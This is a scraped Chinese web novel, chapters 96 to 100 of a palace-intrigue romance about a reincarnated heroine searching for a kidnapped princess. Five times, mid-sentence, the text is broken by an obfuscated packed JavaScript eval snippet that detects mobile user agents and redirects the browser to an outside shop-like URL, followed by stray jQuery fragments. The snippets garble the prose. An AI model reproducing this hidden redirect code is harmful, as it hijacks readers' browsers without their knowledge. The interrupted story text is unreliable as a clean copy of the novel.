若是沈府在这个时候出来表忠心,用沈慕兮的命换慕容景衍的放松警惕,慕容景衍为了为爱女报仇,肯定会将她折磨得生不如死。 为了堵住沈府人的口,他肯定会给沈府一点甜头,两府走近,能不能得到彼此的信任已经不重要了。 而之前沈慕兮能在小东宫想到的事情,其他人照样能想到。 不管太师府有没有动手,小东宫在明面上都不可能再跟太师府有所瓜葛 一旦她跟慕容景衍在北宸出什么事,沈府再跳出来给些什么太子“不忠”的证据,沈府的地位自然就可以水涨船高。 只需要死一个在乡野长大的孩子,换来的却是沈府往后的高枕无忧以及长伴君侧,还能与太师府攀上关系,自此属于沈府的关系网搭建起来了关键的一步。 简直就是一箭三雕。 听完沈慕兮的分析,沈曦当即深吸一口凉气。 “他们怎么敢?他们就不怕,这只是他们的猜测,万一圣上不喜太子只是一个假象,那么” 沈慕兮冷笑打断了沈曦的话,“成事的风险与收益是呈正比的,即使真的会存在你说的问题,这不是还有安平侯府吗? 不管安平侯府现在到底有没有想要站队的势头,明面上,他都是圣上的人。 沈府这是做两手准备呢。” “当然,这只是我的猜测,因此我才要回来试探。” “你打算怎么试探?” 沈曦的话一出口,门外传来了红玉的声音,“小姐,你起了吗?” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287814|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕兮朝沈曦扬眉。 试探的机会不就来了吗? 锦绣苑。 洪氏因为沈慕兮的事情彻夜难眠。 刘嬷嬷听到屋内的动静,心疼上前,“我的老祖宗啊,你是一宿没歇好吗?” 洪氏干脆让刘嬷嬷将自己搀起来,“我在想曦姐儿。” “大小姐孝顺,二小姐的问题不是已经解决了吗?” “可是,我总觉得她的性子,好像不太一样了。” 不似以往好拿捏。 听到洪氏主动提起沈曦的性子,刘嬷嬷主动顺着洪氏的话说下去,“二小姐昨儿晚上找过老奴,也提及过大小姐最近不正常的事情,听大小姐身边的丫鬟说,大小姐经常自言自语,可能是中邪了。” “好好的怎么就扯到中邪” 话到一半,她脸上倦意一扫而空,眼底闪过一抹精光。 “你去慈恩寺不,不去慈恩寺,你去紫阳观,找玄凌真人。” 沈曦最近这么反常,除了中邪,她还真想不出是在什么情况下,能让一个人性情大变。 “是。” 刘嬷嬷应声就要退下办事。 退到一半,门外传来了另一个嬷嬷急切的声音,“老祖宗,出大事了。” 一刻钟后。 洪氏坐在锦绣苑前堂主座,威严地看向身前一高一矮两个身穿黑色劲装的男人。 两人面带急色与心虚。 根本不敢与洪氏对视。 “说清楚,什么叫人被抢走了?” 因为愤怒且难以置信,洪氏的声音变得格外冷厉。 为首的高个男人瑟缩了一下,“属下无能,没能按照老夫人吩咐办事,还望老夫人恕罪。” “到底怎么回事?” 洪氏睡意全无,一双吊梢眼像是淬了毒。 “连一个小丫头都收拾不了,我要你们有何用?” “老祖宗,冤枉啊。”高个男人大叫冤屈,“谁都没想到,那个小丫头居然醒了。趁着咱们准备动手,她居然咬人逃走,那时候属下们已经抓住了她并且打算一刀了结了她,没想到中途就有人来抢人了” 男人的话音刚落,洪氏冷下脸还未来得及说些什么。 只觉得眼前一花,胸口一痛,紧接着她被死死压在地上,一双修长的手此时像是铁钳一样紧紧勒住她的脖子。 “是你让人动手去小东宫掳人的?” 第96章 不打自招 所有人被突如其来的变卦吓到了。 原先伺候在洪氏身边被一把推开摔倒在地的刘嬷嬷最先反应过来。 “大小姐,你要做什么?” 她一边狼狈地从地上爬起来,一边摆手让其他下人去寻帮手。 沈慕兮双目通红,像是失了理智。 洪氏猝不及防被掐,一口气没提上来,双眼已经开始翻白。 跪在地上祈求洪氏恕罪的两个男人此时已经站起来做好了随时在沈慕兮手上抢人的准备。 沈慕兮冷冷看着两人,“你们若是敢过来,我就拧断她的脖子。” 本来已经做好了牵制沈慕兮准备的人,瞬间不敢动弹。 “大大小姐,有话好好说,老夫人这么疼爱你,你怎么可以" “我就问你们一句,是不是你们去小东宫掳人?” 沈慕兮满心满眼都是女儿被掳走。 根本听不进去任何劝说。 刘嬷嬷还想给两个身穿劲装的男人使眼色,沈慕兮一记眼刀过去,她顿时安静如鸡。 洪氏等了半天没人搭救,硬是缓过了那一口气,艰难开口,“当今圣上仁义,最看重孝道,你若是” “你是不是想说,我若是真的对你做了些什么,就没了嫁入小东宫的希望?” 说完,沈慕兮自嘲地轻笑出声,“本来这些天我这么费尽心思照顾小郡主,殿下已经对我刮目相看,结果,就因为你们多事,殿下今日迁怒于我,并且扬言若是小郡主真出现什么意外,就要我陪葬,你说,我都快要死了,我还稀罕嫁入小东宫吗?” 说到后面,她又恢复了刚才的癫狂神色,掐着洪氏的脖子不断摇晃,“说,你们为何要掳走小郡主?你们就这么见不得我好?” “大小姐,老夫人身体不好,经不起这样折腾啊,要是您真的心里不爽利,您来掐老奴,放了老夫人可好?” 刘嬷嬷几乎要给她跪下了。 昨日二小姐说大小姐像是中了邪一样她还不行,今日这种光景,要说大小姐不是中邪,也没人信啊。 看到沈慕兮没有任何反应,她朝外头大喊,“去,去紫阳观把玄凌真人找来!” “紫阳观的玄凌真人!” 沈曦在沈慕兮身边惊呼出声。 沈慕兮停下了手上动作,看向沈曦,无声询问。 沈曦看懂了她的眼神,“据说,玄凌真人道法高深,可以看到灵体,是一个半仙的存在,上可呼风唤雨,下可斩杀恶鬼 对了,我还听说过,玄凌真人似乎还有一个师兄,因为求什么高深道法,窥看天机太多,瞎了一双眼睛,至今下落不明” 沈慕兮正聚精会神地听沈曦解说的模样落在其他人眼里就是她在发呆。 一直伺机而动的人此时正缓慢靠近沈慕兮。 就在他们快要将洪氏从沈慕兮手上“抢”回来的时候,沈慕兮猛然回神,拖着洪氏后退了一步。 “你们把小郡主藏哪去了?说出来,一命换一命。” 洪氏看似一直被沈慕兮紧紧掐住脖子,实际上沈慕兮的力度却掌握十分精准,刚好掐得她直翻白眼又不至于力度太重一下子将她掐死。 如此反复几次,洪氏早已筋疲力尽。 “没死也没藏” 她断断续续开口,“人被抢了。” 消息与贺鸿带回来给慕容景衍的消息一模一样,沈慕兮心头一紧,“被什么人抢了?” “这个属下真不知道,否则就不会回来请罪了。” 看到沈慕兮神色有所松动,刘嬷嬷再次上前,苦口婆心地劝说,“大小姐,老夫人这样做也是为了您,您以后嫁给太子殿下也会有自己的孩子。 可是所有人都知道,太子殿下的心尖尖上有一个人,有了心尖上的人生下来的孩子,您跟您的孩子又怎么可能会有好日子?” 沈慕兮眼底闪过一抹讥诮,“所以,这也是你们费尽心思要除掉我跟我娘亲的理由?” 沈慕兮的话一出口。 不仅洪氏呼吸微微一窒,连刘嬷嬷的呼吸都乱了。 果然。 沈慕兮的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287815|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下子像是淬了霜雪,如利刃一般直直刺向洪氏。“娘亲当初病重不起,是你遣人动的手脚?” 她问出来的话是疑问,语气却是肯定的。 之前她一直没想明白,在沈曦为数不多的模糊记忆中,宫氏向来要强。 按照她的性子,若是知道沈钏海负了自己,她定然会与沈钏海一刀两断。 即使没有与他和离,也不会给他好脸色。 可是等沈曦回来的时候,却发现宫氏似乎变了。 以前锋芒毕露的张扬女子,似乎早已在岁月的沉淀中,变得沉稳圆滑。 她一直以为,是因为宫氏是沈府的主母,做事要八面玲珑面面俱到。 直到 她一次无意之中发现沈府的中馈,早已掌握在洪氏手上,而一个前来投靠的远亲,也有染指沈府中馈的机会 若不是极为亲近的人,洪氏根本不可能会放权。 沈慕兮甚至都有点怀疑,沈柔到底是不是沈钏海跟张氏无媒苟合的奸生子了。 沈慕兮突然转移话题,打 了洪氏跟刘嬷嬷一个措手不及。 洪氏甚至连粉饰太平的伪装都没法做出来。 刘嬷嬷在一旁急了眼,脱口而出,“大小姐,咱们做人可是要有良心,老夫人对您跟夫人有多好,您是知道的,当初您的院子里进了歹人,还是老夫人护着您” “人是在沈柔的院子里找到的,你为何这么自信,说那是我的人?” 沈慕兮似笑非笑地看着刘嬷嬷。 这算不算是不打自招? 刘嬷嬷显然也反应过来自己的失言,“老奴只是一时口误” “我看你现在的样子,倒是心虚大于口误。” 当初她刚重生在沈曦身上。 那个贼匪,她可是直接丢到沈柔的院子里。 人都是第一视觉感官的动物。 对于第一眼看到的事情地点,格外印象深刻。 当初,洪氏跟刘嬷嬷看到那个贼匪的时候,分明就在沈柔的院子里。 第97章 恶心透了 沈慕兮突然觉得这沈府上上下下都恶心透了。 在沈曦的记忆中,听过几个宫氏身边的老嬷嬷对话。 沈钏海一开始是满脸真诚地告诉宫氏,他爱她,所以愿意为她入赘到县主府 洪氏初来县主府也是一脸无害 后来不知道怎么的,母子二人看似站在弱势方,可实际上做出来的事情,都是在掠夺。 偏偏他们的掠夺是让人看不到的,甚至,他们连东西都到手了,被掠夺的人还不知道发生什么事。 现在想想。 洪氏向来会伪装,沈曦那时候对洪氏根本没有任何防备。 更不用说,宫氏已经不在沈曦身边 实际上,沈曦落水的事情,很有可能也是有洪氏的手笔在里面。 到后面亲事落在沈柔身上。 若是没有洪氏点头,沈柔又怎么可能抢到她的亲事? 还有赐婚给太子的事情,若是没有洪氏拿着宫氏生前的朝服去求圣上,圣上又怎么可能会注意这个寂寂无名的沈府长女? 这桩桩件件,每一步都是对人心的精妙算计。 最后,被算计的人直到死了都不知道发生什么事。 事实上,在庄子上的那三个月,沈慕兮根本没把洪氏往坏人的方面去想,甚至还对洪氏心怀感激。 此事说来,还是得感谢张氏母女在她回来后急着找麻烦。 没有她们操之过急地找麻烦,她还不一定能发现洪氏的狐狸尾巴。 瞬息之间,沈慕兮的思绪早已百转千回。 在一旁被拆穿真面目的洪氏主仆二人也没有闲着。 在刘嬷嬷想方设法转移沈慕兮注意力的时候,洪氏在不死心地自救。 她放软了声调,半恳求道,“曦姐儿,你若是受了什么委屈,可以跟祖母说,这样打打闹闹,传出去也不好” “逆女,你要谋杀亲祖母吗?” 沈钏海洪亮的声音从门外传来,与洪氏哀求的声音重叠。 在他的身后,还有 慕容景衍以及一众侍卫。 沈慕兮的眉峰微不可察地皱了皱。 按照她到府的时间以及慕容景衍出现在这里的时间算起,他明显就是在她离开没多久就跟着出了门。 他来做什么? 慕容景衍与沈慕兮短暂对视了一眼,又迅速将视线落在沈钏海身上,“沈大人,怎么本宫每次来沈府,你们沈府都是这么热闹?” 他的声音慵懒,眼神冰冷地扫过了前堂包括沈慕兮在内的所有人。 “沈曦今日才在我府上闯下了弥天大祸,你们休想用这种方法包庇她。” 慕容景衍的话一出口,所有人的脑子都转不过来。 沈钏海更是扯歪了脸上那抹假笑,“殿殿下这是何意?曦儿这逆女,可是在小东宫做了什么大逆不道的事情?” 小郡主失踪一事,早已在小东宫沸沸扬扬找人的时候就传遍了整个邺城。 这是完全出乎沈钏海意料的情况。 按照常人想法,眼下婚约定下,未婚妻母族俱在且自己不得圣上青眼的时候,劳师动众派遣手下侍卫寻找外室女是十分不理智的做法。 可慕容景衍做了。 不仅做了,还让人散布谣言,说沈府长女心肠歹毒,与贼人勾结要害死小郡主 这是明面上能说的吗? 不对,这不是明摆着冤枉沈曦吗? 好,退一万步来说,真的是沈曦做了。 帮皇室铲除了一个五点,圣上知道这个事情可能会高兴。 但这也不能放在明面上高兴。 眼下朝堂各方势力之前还维系着一种微妙的平衡,今日太子已上门,不管沈曦有没有做过,在旁人眼里,沈曦就是做了。 没有证据的事情,当事人的话,就是证据 他也是百口莫辩啊。 沈钏海迅速权衡利弊。 一旦没了太子这个明面上的靠山,太师府那边又不能明显支持沈府,到头来,沈府就两面不是人 为了以后的荣华富贵,沈府,必须得用沈曦稳住太子。 想到这里,沈钏海深呼吸了一下,脸上那抹扯歪了的笑容又真切了几分。 “殿下,有什么事情,咱们可以坐下来细聊,可千万不能动怒啊。” 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287816|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是一个即将送死的炮灰。 他就多给他一份薄面。 慕容景衍不客气地落座,把气焰指使发挥得淋漓尽致。 “定是沈曦遣人把本宫的人带走了,把本宫的小郡主交出来,本宫可以既往不咎。” 他的语气强硬,仿佛亲眼看到沈慕兮带走了顾筱筱。 沈慕兮疑惑地偷瞄了慕容景衍一眼,后者朝她眨了眨眼。 沈慕兮顿时明白过来。 立刻放开了洪氏,飞扑到慕容景衍面前,“殿下,我是冤枉的” 洪氏得了自由,大口呼吸,看到沈慕兮在慕容景衍面前干嚎着不落泪,她心中憋着一口气,声音嘶哑地道,“曦姐儿昨晚离了府,去了小东宫,若说小郡主真的不见了,那也是在曦姐儿的眼皮子底下不见的” “祖母如何得知孙女离开了沈府去了小东宫?莫不 是祖母一直有人在暗中跟着孙女?” 两人视线交汇,沈慕兮意有所指地瞥了那两个跟他汇报的侍卫一眼。 洪氏瞬间明白了沈慕兮想要做什么。 她犹豫了一下,眼看沈慕兮又要开口嚎啕大叫,她努力维持脸上的慈爱,“大半夜地,姑娘家家外出有危险,祖母也是担心你的安危。” “既然如此,那祖母跟着孙女的人昨晚定然也是守在小东宫外头,贼人有没有在他们眼皮子底下溜走,问问不就知道了?” 高个子侍卫一下子听出了沈慕兮的弦外之音。 连忙在慕容景衍面前跪下,“属下昨日跟着大小姐去了小东宫,确实有看到几个神色可疑的人在小东宫后巷离开。” 慕容景衍脸色一变,“此话当真?” 侍卫被他的目光看得心里发毛。 他知道说谎不好。 可是不说谎,他就不是心里发毛,而是脖子发凉了。 “属下确定。” 慕容景衍脸上多了几丝激动,“可知那些人往哪个方向去了?” “他们兵分三路,往西、南、北三个方向而去。” “可知道他们穿着如何,身高几何算了,贺鸿,你把他们倆请回去小东宫,本宫要细细询问。” 第98章 冤枉你的人,永远都知道你到底有多么冤枉。 说完,他兴高采烈地起来。 走出两步,又恶狠狠地瞪了沈慕兮一眼,才转头看向沈钏海,“沈大人,本宫要带走沈小姐,你意下如何?” “殿下,万万不可。” 沈钏海后背早已冷汗连连。 即使洪氏没有明说,他也认得被慕容景衍带走的那两个是太师府的人。 “到底也是微臣教女无方,还望殿下给微臣一个机会,可以将功折罪。” 沈曦性情大变,谁都不知道她去了小东宫以后会乱说什么。 这种情况下,还是让她待在眼皮子底下比较好。 他的神色愈发真诚。 慕容景衍眼眸半眯,似是在考虑沈钏海的话。 洪氏也跟着开口道,“殿下,小东宫昨夜发生的事情,我们都很遗憾,若是殿下需要我沈府配合,沈府绝无二话,可” 她看了一眼沈慕兮,继续道,“曦姐儿到底也是我沈府嫡出姑娘,前些天一直往小东宫跑已是不妥,昨夜关于小郡主失踪的各种消息频繁传出,几乎所有人都在怀疑是曦姐儿,今日殿下若是再从沈府将人带走,万一曦姐儿真的是冤枉的,那 那她以后可怎么见人?” 慕容景衍油盐不进,“若真是冤枉她,本宫自会娶她,让她好好度过下半生,可事关本宫爱女,本宫绝不可能会放任任何一个可能从本宫手上溜走。” “殿下,”沈慕兮大义凛然地站出来,“如果我有办法证明小郡主的失踪与我无关,殿下是不是就不会再为难我沈府?” 她的话一出口,最先紧张的,是洪氏。 “曦姐儿” 沈慕兮看了洪氏一眼,视线重新落在慕容景衍身上。 “殿下不让我证明,是不敢吗?还是说,殿下突然来我沈府发难,只是想给我这个在沈府不受宠的嫡女一个下马威?” 似是被戳中心事,慕容景衍恼羞成怒,“你这疯妇” 下一刻,他又问道,“若要证明,你要如何证明?” 沈慕兮让开了一个位置,“请殿下移步内屋。” 眼看沈慕兮跟慕容景衍一同进去了内屋,洪氏跟沈钏海的心都要提到了嗓子眼。 他们想要让下人假装不经意凑过去。 贺鸿一个淡淡的眼神扫过去,沈钏海跟洪氏顿时歇了心思。 内屋。 “你怎么突然来了?” 沈慕兮一改刚才跟慕容景衍的针锋相对。 因为太过在意,连语气也生动了许多,“可是筱筱有其他消息?” 慕容景衍也敛去了刚才的跋扈,淡声道,“太师府的人来沈府复命,这本身就不合常理。” 沈慕兮指认,“我亲耳听见,他们就是带走筱筱的人。” “所以本宫这次拿人,也是打算将人带回去给小东宫做个大清洗。” 沈慕兮了然。 难怪一来目的性就那么强。 “那筱筱那边” “目前还没消息,但是从刚才那个侍卫说的那几个离开的方向,本宫倒是觉得他们有可能往北面而去。 “邺城往北是凉州,凉州往北是玉环山脉,接壤北宸。” 北宸 难道真是顾时? “你当真确定?” 沈慕兮的声音微颤。 只要想到顾时以及苏柳溪母女,只觉得心中那股浓烈的恨意要将她撕扯成两半,恨不得自己能长出翅膀回去将那一家子生撕了去。 “本宫会遣人一路追查,也给那些人下了命令,若是找到筱筱的下落,让他们跟随在筱筱身边,务必保证筱筱的安全。” 慕容景衍确实是拿了诚意与她合作。 沈慕兮眼眶微微发烫,一股说不清道不明的感觉从心底涌出。 不等她感动完,又听慕容景衍道,“只是眼下,你还不能离开南渊。” “什么?” 沈慕兮有点错愕。 他怎么知道她想立刻动身去北宸? “这是一个很好的机会。” 慕容景衍强调。 沈慕兮垂眸,一下明白了慕容景衍的意思。 眼下筱筱失踪,沈府跟太师府都逃不开,再加上太师府跟安平侯府之间又夹着一个沈柔 “确实是一个很好的机会。”她低声呢喃。 慕容景衍与沈慕兮现在内屋独处了一炷香的时间。 外面的人根本不知道两人聊了什么。 只能通过一些瓷器碎裂的声音以及慕容景衍偶尔拔高音量的怒斥判断,沈慕兮在里面,绝对讨不得半分好。 就在沈钏海不死心想要再一次上前偷听之际。 慕容景衍忽然从内屋走出来。 沈钏海偷听的姿势甚至还维持在原状。 慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287817|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容景衍挑眉,随即冷冷看了沈慕兮一眼。 “本宫暂时不动你,不代表你已经没有嫌疑。 你最好老实一点,本宫跟你说的话,可不是闹着玩。” 话落,他冷哼一声甩袖离去。 沈钏海连忙追上,“殿下,可是沈慕兮这个逆女冲撞了您?殿下” 直到追出院子,慕容景衍都没有回头的迹象,沈钏海这才冷脸回去了屋里,看 向沈慕兮的眼神冷得仿佛可以结霜。 “逆女,你满意了?” 沈慕兮似乎还未从被慕容景衍为难的惊惧之中反应过来。 面对沈钏海的发难,她惨白着一张脸冷笑,“若要人不知除非己莫为,你们若是不动小郡主,又何至于连累我?” “我们这么做不对,你怎么知道?” 沈钏海语无伦次地看向洪氏。 后者不情不愿地点头。 沈钏海的眼睛都要瞪圆了。 “那你刚才” 沈慕兮眨眼,无辜开口,“昨日我去了小东宫,小东宫许多下人都可以作证,殿下不相信刚才下令带回去的人只是我沈府的人,我跟殿下据理力争,有什么问题吗?” 何止没问题? 若是真的能因为这样转移了慕容景衍的注意力,让慕容景衍没有怀疑到太师府身上,他们全家都得感谢沈慕兮转移了慕容景衍的注意力。 因为,那两个侍卫,只是最终经手人。 实际上,接触小东宫暗桩的,另有其人。 考虑到慕容景衍若是找不到人就会回来沈府继续找麻烦。 沈钏海最终还是按捺住了要惩罚沈慕兮的冲动,朝刘嬷嬷吩咐道,“这几天,让大小姐好好在老夫人这里休息。” 这明摆着就是变相软禁,让洪氏的人看着她,不让她出幺蛾子。 沈慕兮目露不甘。 沈钏海怒斥,“你是我沈府嫡女,不管事情与你有没有关系,你都要背负属于你的责任。” 一个“沈府嫡女”的头衔压下来。 沈钏海连多说一句话的机会都不给沈慕兮。 一场闹剧。 以沈慕兮被刘嬷嬷带下去休息作为落幕。 沈慕兮深深地看了一眼沈钏海母子。 嘴角微不可察地勾起一抹冷笑。 冤枉你的人,永远都知道你有多么冤枉。 第99章 正式让这一淌水浑浊起来 沈曦早在沈慕兮与慕容景衍在内屋谋划的时候知道了两人的计划。 对于沈慕兮被软禁在锦绣苑,她尚能保持冷静。 “没想到慕容景衍居然可以将沈钏海的所作所为算得分毫不差,下一步,你打算还是听他的安排明日偷偷离府与杜衡相见,告诉他明覃杀人的事情?” 沈慕兮垂眸,“目前来讲,慕容景衍没有任何要骗我的理由。” 沈曦懒懒地伸了个懒腰,打了个哈欠,“那敢情是好” 懒腰伸到一半,不仅她停住了动作,连沈慕兮看着他的目光都凝固了。 “你很累?” 沈慕兮难以置信地开口。 重生这几个月以来,她还是第一次看到这么有“人味”的沈曦。 沈曦面露惊诧,很快又恢复如常。 “没有。” 说完,她没有多说一句话,安静地飘回角落里。 沈慕兮满心满眼都只想尽快找回筱筱,并没有注意到沈曦的异常。 翌日。 福源茶楼。 杜衡看着一身简单小厮打扮的沈慕兮。 眼底充斥着恨不得想要掐死沈慕兮的怒意,嘴上却努力保持理智。 “谁告诉你这个事情的?你究竟有什么目的?” “谁告诉我都不重要,重要的是,连你父亲都不告诉你个中缘由就让你待绿帽子,你觉得这正常吗?” 杜衡自然知道自家父亲的所作所为十分反常。 可让他觉得更反常的,还有“沈曦”的态度。 这根本就不是他所认识的“沈曦”。 以前的沈曦根本不敢用这种盖度跟他说话,更不会在他需要她的丹药时收他的银子。 “我凭什么要信你?” 只要一想到眼前人不是以前的“沈曦”,杜衡的语气也恶劣了许多。 “你信不信重要吗?” “你” “给你机会你不中用,最后自己女人被抢了,能怪谁?” 沈慕兮嗤笑一声。 那无所谓的态度,简直让人忍不住想要上去掐断她那条纤细的脖子。 杜衡咬牙切齿了半天。 最终还是从牙缝里挤出了简短几个字——“我比任何人都中用”。 不过只是公诸一个真相让世人都看清太师府里养的什么畜生,他为什么不敢? 很快,太师府二少爷明覃杀人的事情在京中传得沸沸扬扬。 整个太师府很快被一层压抑威压笼罩起来。 明太师已年过六十,依旧精神矍铄。 “可查到消息从哪里来的?” 下人小心翼翼汇报,“是从安平侯府传出的。” 安平侯府? 明太师咬牙,胡子都快要吹飞了。 “老夫不找他麻烦,杜云潮倒是自己找上门来了,好,真是好得很。” “祖父,孙儿是被冤枉的” 冤枉不冤枉,明太师心中有数。 奈何明覃是为数不多能让他处处刮目相看的孙子 人上了年纪,心里就多了一片柔软的角落 就在明太师即将要开口让明覃放宽心,另一个淡漠得不带任何感情的声音从门口位置传来。 “现在是追究冤枉不冤枉的时候吗? 若是此事被圣上知晓,祖父也会被连累,难道我明府战战兢兢这些年,还得因为明覃的糊涂冲动而毁于一旦?” 明太师张到一半的嘴立刻闭上。 转眼看到轮椅已经来到面前,他看向身前人,“那你认为应当如何?” “二者相害取其轻,孙儿认为,祖父敲打一下安平侯远比费时费力堵住悠悠众口来得简单。” 几日后,醉仙楼。 自家孩子不懂事得罪了太师府。 杜云潮一连几日都心虚得很。 看到明太师出现,还未等明太师说些什么,他就已经开始连连道歉。 “我实在不知竟会有这种事情发生” “咱们打开天窗说亮话,那个事情,是不是你的孩子传出去的? 杜云潮啊杜云潮,当年咱们也算是在一条船上涉过水,是你安平侯不讲信用在先,别怪老夫不客气。” 明太师连一个解释辩驳的机会都不给杜云潮。 两人的交谈霎时间陷入了僵局。 茶楼的对面,是一座金楼。 沈慕兮用望远镜将一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287818|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情收入眼底。 看到她一脸凝重,慕容景衍挑眉,“怎么,舍不得你的小竹马?” 沈慕兮冷笑,“怎么可能舍不得,只是好奇当初安平侯府与杜云潮之间到底达成了什么交易,居然连自己的亲儿子都可以出卖。” 慕容景衍看似十分随意地把手边其中一份卷宗扔给沈慕兮。 卷宗的蜡封已经蒙尘。 显然是很久之前的悬案。 “诚意伯有过一个文武双全的孩子,与杜云潮同岁,若是那个孩子没死,现在已经是诚意伯了。” 沈慕兮从打开的卷宗中抬头,“你的意思是?” “当年,杜云潮跟诚意伯世子看上了同一个姑娘,后来,姑娘嫁给旁人,杜云潮把所有的过错都推在了诚意伯身上 ,从此与诚意伯世子不相往来。 不久之后,一次醉酒,诚意伯世子失足坠马,一命呜呼。” “这是很正常的醉酒摔死案情,为何变成悬案了?” “当年,诚意伯觉得事情不简单,去细查之后发现所有的矛头都指向杜云潮,他想为诚意伯世子讨回公道,结果证据在一夕之间被破坏殆尽,而知道这些证据的人,除了诚意伯本人,只有主审这一案件的刑部尚书,刑部尚书是明太师的老丈人。” 朝廷内外各种结党营私,蝇营狗苟,慕容景衍早已习以为常。 沈慕兮到底也是做过生意,自然一理通百理明。 “所以,当初是明太师绑了杜云潮,杜云潮担心这个事情败露,才会让杜衡戴上这顶帽子,好让太师府记住两府之间的关系。” 看到慕容景衍点头,她又问道,“那你现在打算如何?” “让他们狗咬狗,正式让这一淌水浑浊起来。” 沈慕兮没再说话。 她没有任何资格去劝说慕容景衍的任何决定。 说句不好听,当年的皇后之死,以及他在南渊过得这么憋屈,换做是旁人,早已疯了。 他能挺过来,全靠他的意志力强大。 想归想,沈慕兮的任务也算是圆满完成。 她笑着转移了话题,跟慕容景衍提出了自己想要回去北宸的打算。 慕容景衍当即沉下了脸。 第100章 一切都好像已经晚了 “虽说邺城这段时间会乱起来,可明年出使北宸才是关键,本宫这般劳心费力,你就打算这样一走了之?” 沈慕兮本来还不明白慕容景衍怎么突然发难。 听到他的话才明白,他这是担心明年的计划有变。 她当即笑道,“殿下不必担心,你我合作,我做不出半途丢下合作伙伴的事情。 我会在大婚之前赶回来。” 说着,不等慕容景衍给出其他反应,她又将另外一个瓷瓶塞到慕容景衍手上,“殿下身上并非顽疾,而是一种奇毒,这几天我配制出了可以压制蔓延毒素的解药,持续服用,可以助你护住心脉,让你不再似以往那样怕冷。” 慕容景衍微怔,心里想着要推开,可是手上的动作早已先一步将她递给他的瓷瓶牢牢握住。 他没有说话。 事实上,他从刚才语气不善的时候就已经有点懊恼。 连自己也想不明白自己为何突然会心中不爽利。 不知道是因为紧张还是什么缘故,他整个人都像一张紧绷的弦。 连带两人独处的气氛也变得格外怪异。 沈慕兮无意转头,对上他的灼灼目光。 她像是被烫到了一样,慌忙移开目光不与他对视。 “他他们两人已经交谈得差不多了,我没事的话,我也要先回去了,免得被人发现。” 说完,沈慕兮也没有再看慕容景衍的神色。 逃似的离开了。 “慕兮,你的脸好红。”沈曦在她身边提醒。 沈慕兮一边走一边用手掌给自己扇风散热,“你猜我为什么会逃?” 慕容景衍最近是不是中邪了? 那眼神看人,像是在思春 心中想法才冒出来,她脚下步履也不受控制地快了起来。 直到她撞上了一堵僵硬的肉墙。 “对不起对不起。” 沈慕兮连连握紧手中伞柄道歉后退。 “福生无量天尊,信士可有受伤?” 听到这句道谒,沈慕兮这才注意到被自己撞上了的人。 身前人身穿一身灰色长袍,灰白的头发用一根乌木素簪草草绾起,脚踩黑色粗布广口鞋,肩上还挂着一个带着补丁的布袋。 这明显就是一个老道士。 南渊人大多信佛,道教反而有没落的迹象。 以前沈慕兮从来不信这些,可经历了死前魂魄不散,又重生到沈曦身上,她逐渐开始对于玄学心存敬畏。 连带看着老道士的目光也多了尊重,“多谢大师关心,我没有受伤。” 说完,沈慕兮从钱袋取出两张银票,“刚才是我不小心惊扰了大师,小小意思,大师一路风尘仆仆,权当是我给大师的赔礼了。” 倒是目光定定地落在沈慕兮身上。 正确来讲,是落在站在沈慕兮身边的沈曦身上。 今日的天气阴沉无阳光。 沈慕兮打着伞走在路上的模样格外显眼。 本来她自己感觉没什么。 